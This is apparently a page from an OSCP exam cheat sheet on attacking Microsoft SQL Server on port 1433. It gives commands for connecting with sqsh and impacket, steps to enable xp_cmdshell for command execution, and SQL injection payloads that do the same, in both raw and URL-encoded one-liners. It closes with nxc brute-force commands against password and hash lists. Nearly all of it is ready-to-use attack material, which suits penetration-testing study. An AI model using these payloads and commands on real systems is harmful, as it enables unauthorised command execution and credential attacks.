> For the complete documentation index, see [llms.txt](https://yongjun04.gitbook.io/oscp-cheatsheet/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://yongjun04.gitbook.io/oscp-cheatsheet/methodology/service-enumeration/tcp-mssql-1433.md).

# TCP: MSSQL - 1433

## Initial Connection

### Connect on local machine

```bash
sqsh -S <Target IP Address> -U .\\<Username> -P <Password> -D <Database Name>
```

OR

{% code overflow="wrap" %}

```bash
impacket-mssqlclient [<Domain Name>/]<Username>:<Password>@<Target IP Address> -local-auth
```

{% endcode %}

### Connect to machine

```bash
sqsh -S <Target IP Address> -U <Username> -P "<Password>"
```

OR

{% code overflow="wrap" %}

```bash
impacket-mssqlclient [<Domain Name>/]<Username>:<Password>@<Target IP Address> -windows-auth
```

{% endcode %}

## Reverse Shell

### On Machine

1. Initiate connection

> If using sqsh, "GO" needs to be entered after every query to send it

2. Use the master databse

```sql
Use master
```

3. Get users that can run xp\_cmdshell

```sql
EXEC sp_helprotect 'xp_cmdshell'
```

4. Check if xp\_cmdshell is enabled

```sql
SELECT * FROM sys.configurations WHERE name = 'xp_cmdshell';
```

5. Enable advanced options as it is needed for xp\_cmdshell

```sql
sp_configure 'show advanced options', '1'
```

6. Apply changes

```sql
RECONFIGURE
```

7. Enable xp\_cmdshell

<pre class="language-sql"><code class="lang-sql"><strong>sp_configure 'xp_cmdshell', '1'
</strong></code></pre>

8. Apply changes

```sql
RECONFIGURE
```

9. Run command

```sql
EXEC xp_cmdshell '<Command to execute>'
```

### On SQLi vulnerability

1. Enable advanced options as it is needed for xp\_cmdshell

```sql
'; EXEC sp_configure "show advanced options", 1; -- //
```

2. Apply changes

```sql
'; RECONFIGURE -- //
```

3. Enable xp\_cmdshell

```sql
'; EXEC sp_configure "xp_cmdshell", 1; -- //
```

4. Apply changes

```sql
'; RECONFIGURE -- //
```

5. Run commands

```sql
'; EXEC xp_cmdshell "<Command to execute>"; -- //
```

<details>

<summary>One Liner</summary>

Raw:

{% code overflow="wrap" %}

```sql
'; EXEC sp_configure "show advanced options", 1; RECONFIGURE; EXEC sp_configure "xp_cmdshell", 1; RECONFIGURE; EXEC xp_cmdshell "<Command to execute>"; -- //
```

{% endcode %}

URL Encoded:

{% code overflow="wrap" %}

```url
%27%3B%20EXEC%20sp%5Fconfigure%20%22show%20advanced%20options%22%2C%201%3B%20RECONFIGURE%3B%20EXEC%20sp%5Fconfigure%20%22xp%5Fcmdshell%22%2C%201%3B%20RECONFIGURE%3B%20EXEC%20xp%5Fcmdshell%20%22<Command to execute>%22%3B%20%2D%2D%20%2F%2F
```

{% endcode %}

</details>

## Bruteforce

{% code overflow="wrap" %}

```bash
nxc mssql <Target IP Address> -d <Domain Name> -u <Username List> -p <Password List> --continue-on-success
```

{% endcode %}

{% code overflow="wrap" %}

```bash
nxc mssql <Target IP Address> -d <Domain Name> -u <Username List> -H <Hash List> --continue-on-success
```

{% endcode %}